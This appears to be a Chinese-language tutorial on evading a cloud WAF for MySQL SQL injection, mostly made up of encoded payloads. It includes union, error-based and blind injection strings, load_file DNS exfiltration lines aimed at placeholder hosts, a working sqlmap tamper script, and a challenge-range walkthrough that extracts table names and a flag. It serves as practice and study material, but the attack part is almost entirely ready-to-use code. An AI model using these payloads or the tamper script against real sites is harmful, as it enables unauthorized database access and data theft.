面试提及过

image.png
mysql小技巧

  1. where id='2.0abc'转换为时候变成2

image.png

url传入ascii大于80时候进行\80编码

  1. http://127.0.0.1/sqli-labs/Less-38/index.php?id=%80%81%82

image.png
函数与括号之间可添加空格/换行/注释

  2. select user (),database/**/(),version
  3. #123
  4. () from tbl;

image.png
执行语句之间的空格，可用”/**/“、”换行%0a”替换

  1. SELECT * FROM
  2. users WHERE id= '3.0abc'-1/**/union/**/select
  3. '3.0abc',2,3
  4. from
  5. users;
  1. 注释符：--，#，/**/
  2. #单行注释后面所有内容，换行后注释失效
  3. --和#号一样，但是后边必须有个空格，没空格则视为两个减号
  4. /*aaa*/可用多行注释
  5. 注释内容在sql语句中解析为空格
  7. 逻辑判断式1>1、'a'='b'，from后的表格名，select语句，可用括号包裹
  8. SELECT * FROM (users) WHERE (id='3.0abc') union (select '3.0abc',2,user() from (users));
  11. 单双引号'"、括号()、反单引号``、星号*、与语句之间可以没有空格
  12. SELECT*FROM(users)WHERE(id='3.0abc')union(select'3.0abc',2,user()from`users`);

构造绕过语句

  1. 绕waf无非就是构造语句，突破防sql的正则表达式
  2. 根据上面规则可以构造一些垃圾字符，插入语句中并能正常运行。
  3. 常用就是注释配合换行符，然后在注释部分插入不可解析的ascii码
  7. --%20/*%99%0a
  8. --%20%0d%0a%23/*%99%0a
  9. %23/*%99%0a
  1. ?id=1%27%20or%20%271

image.png

  1. //上面逻辑判断被拦截，删除or前后空格
  3. ?id=1%27or%271           #字符型注入
  4. ?id=1%20or%201           #数字型注入

image.png
本地搭建的环境也可以正常进行
image.png

  1. order by 1 //order by常用于判断列表数
  4. ?id=1%27order%20by%20id%23
  5. ?id=1%27order%23/*%99%0aby%23/*%99%0a4%23
  6. ?id=1%20order%23/*%99%0aby%23/*%99%0aid%23
  7. ?id=1%20order%23/*%99%0aby%23/*%99%0a4%23
  9. union select x from x //联合注入
  12. ?id=union%23/*%99%0aselect
  13. ?id=union--%20%0d%0a%23/*%99%0aselect
  14. ?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aa,2,asd
  15. ?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users
  16. ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23%27
  17. ?id=1%20union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23
  18. ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23
  20. load_file() //dns外带查询,阿里云拦截率dnslog，所以使用别的网站
  23. ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.com/abc%22)%23
  24. ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.cn/abc%22))%23
  25. ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0a))%23
  26. ?id=concat(%27//%27,(select%23/*%99%0a123),%22.123.test.com/abc%22)
  27. ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
  28. ?id=1%20%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
  31. updatexml() //报错注入
  34. ?id=updatexml%23/*%99%0a(1,1,1)
  35. ?id=1%27and%20updatexml%23/*%99%0a(1,1,1)%23%27
  36. ?id=1%20and%20updatexml%23/*%99%0a(1,1,1)
  37. ?id=updatexml%23/*%99%0d%0a(0,(%23/*%99%0d%0aselect%0aa),%27a)%27)
  38. ?id=1%27%26%26updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
  39. ?id=1%20and%20updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
  40. concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e)
  41. ?id=1%27%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23
  42. ?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

image.png

tamper脚本

  2. #!/usr/bin/env python2
  3. #user by: XG
  5. import re
  6. from lib.core.data import kb
  7. from lib.core.enums import PRIORITY
  9. __priority__ = PRIORITY.NORMAL
  11. def dependencies():
  12.     pass
  14. def tamper(payload, **kwargs):
  15.     retVal = payload
  16.     if payload:
  17.         # ALiYun mysql
  18.         # index.php?id=336699dfg
  20.         retVal = re.sub(r" ", "%20", retVal)
  21.         retVal = re.sub(r"\'\)%20AND%20", "%27%29%2f%2a%20%30%30%7d%7d%29%5d%5b%2a%2f%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
  22.         retVal = re.sub(r"\)%20AND%20", "%29%2f%2a%30%30%7d%7d%29%5d%5b%2a%2f%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
  23.         retVal = re.sub(r"\'%20AND%20", "%27%20%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
  24.         retVal = re.sub(r"%20AND%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
  25.         retVal = re.sub(r"%20OR%20NOT%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aOR%20NOT%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
  26.         retVal = re.sub(r"%20OR%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aOR%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)   
  27.         retVal = re.sub(r"=", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aLIKE%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
  28.         retVal = re.sub(r"\'%20UNION", "%27%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aUNION", retVal)
  29.         retVal = re.sub(r"UNION%20SELECT%20", "UNION%0d%0a%20%2d%2d%20%81/*%99%20%0d%0a%0d%0a%0d%0aSELECT%0d%0a%20%2d%2d%20%81/*%99%0d%0a%0d%0a", retVal)
  30.         retVal = re.sub(r"UNION%20ALL%20SELECT%20", "UNION%0d%0a%20%2d%2d%20%81/*%99%20%0d%0a%0d%0a%0d%0aALL%20SELECT%0d%0a%20%2d%2d%20%81/*%99%0d%0a%0d%0a", retVal)
  31.         retVal = re.sub(r"%20FROM", "%0d%0a%20%2d%2d%20%87%0d%0aFROM", retVal)
  32.         retVal = re.sub(r"FROM%20INFORMATION_SCHEMA\.", "FROM%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aINFORMATION_SCHEMA%0d%0a.", retVal)
  33.         retVal = re.sub(r"CASE%20", "CASE%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
  34.         retVal = re.sub(r"THEN%20", "THEN%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
  35.         retVal = re.sub(r"ELT\(", "ELT%20%2d%2d%20%29%29%29%29%29%29%0d%0a%28", retVal)
  36.         #retVal = re.sub(r"\(SELECT%20", "%28%20%2d%2d%0d%99%20%0d%0aSELECT%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
  37.         #retVal = re.sub(r"\(SELECT%20", "%28%20%2d%2d%0d%99%5b%5d%20%0d%0aSELECT%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)        
  38.         retVal = re.sub(r"\(SELECT%20", "%28%20%20%23%20%2f%2a%99%29%5d%5b%7b%7d%23%5b%5d%0aSELECT%20", retVal)
  39.         retVal = re.sub(r"SELECT%20\(", "SELECT%20%2d%2d%20%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
  40.         retVal = re.sub(r"CONCAT\(", "CONCAT%20%23%20%89%0d%0a%28", retVal)
  41.         retVal = re.sub(r"CHR\(", "CHR%20%2d%2d%20%29%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
  42.         retVal = re.sub(r"CHAR\(", "CHAR%20%2d%2d%20%29%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
  43.         retVal = re.sub(r"EXTRACTVALUE\(", "EXTRACTVALUE%20%23%20%89%0d%0a%28", retVal)
  45.         #retVal = re.sub(r"%20INFORMATION_SCHEMA", "%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_SCHEMA%0d%0a", retVal)
  47.     return retVal

阿里云挑战赛

https://bjfytzs.aliyuncs.com/#/

一个mysql靶场无论输入什么都返回hello_word,猜测会是盲注

image.png

输入一个单引号发现报错
经过测试,发现sleep并没有达到休眠效果,故放弃

  1. 1' and sleep(4)='1

但发现报错函数可以使用

  1. 1' and updatexml(1,1,1) %23
  2. 1' and updatexml(1,'~',1) %23

image.png
image.png

在报错注入没有回显的情况下,可以进行报错盲注

  1. 首先嵌套if语句 

    1. 1' and updatexml(1,if(1=1,'~',1),1) %23

  2. 然后就可以在if语句里构造盲注语句进行判断了 

    1. 1' and updatexml(1,if(substr('abc',1,1)='a','~',1),1) %23

    匹配成功后返回~，匹配失败返回1

    version()被拦截,version()可以进行绕过

在burp构造执行语句
image.png
image.png

发现mysql版本是5.7.32

获取表名
获取表名就是将version()换成一个子查询语句就行 

  1. (select{x table_name}from%0dinformation_schema%23%0a.%0atables where
  2. table_schema=database%23%0A() limit 0,1)
  4. //删删减减发现updatexml不好用了
  6. /*
  7. a.
  8. 反斜杠拼接updatexml()
  9. 1' and `updatexml`(1,if('b'=substr('123',1,1),'~',1),1) %23
  11. 但这里使用substr()会拦截，所以换成了locate()函数
  12. `locate`('a',(select{x table_name}from%0dinformation_schema%23%0a.%0atables where
  13. table_schema=database%23%0A() limit 0,1),1)=1
  15. b.
  16. 换其它报错函数
  17. mysql的版本，他是大于5.7.8的，我们可以使用json函数进行报错
  18. 1' and json_type(if('b'=substr((select{x
  19. table_name}from%0dinformation_schema%23%0a.%0atables where
  20. table_schema=database%23%0A() limit 0,1),1,1),'~',1)) %23
  22. substr()也会拦截，继续使用locate()函数
  24. 1' and json_type(if(%60locate%60('1',(select{x
  25. table_name}from%0dinformation_schema%23%0a.%0atables where
  26. table_schema=database%23%0A() limit 1,1),1)=0,'~','1'))||'1
  28. */

获取字段

  1. 1' and json_type(if(%60locate%60('a',(select{x
  2. column_name}from%0dinformation_schema%23%0a.%0acolumns where
  3. table_schema=database%23%0A() and table_name='tzs_sql_flag' limit
  4. 1,1),1)=15,'~','1'))||'1

获取flag

  1. 1' and json_type(if(%60locate%60('a',(select{x f_value}from%0dtzs_sql_flag limit
  2. 0,1),1)=15,'~','1'))||'1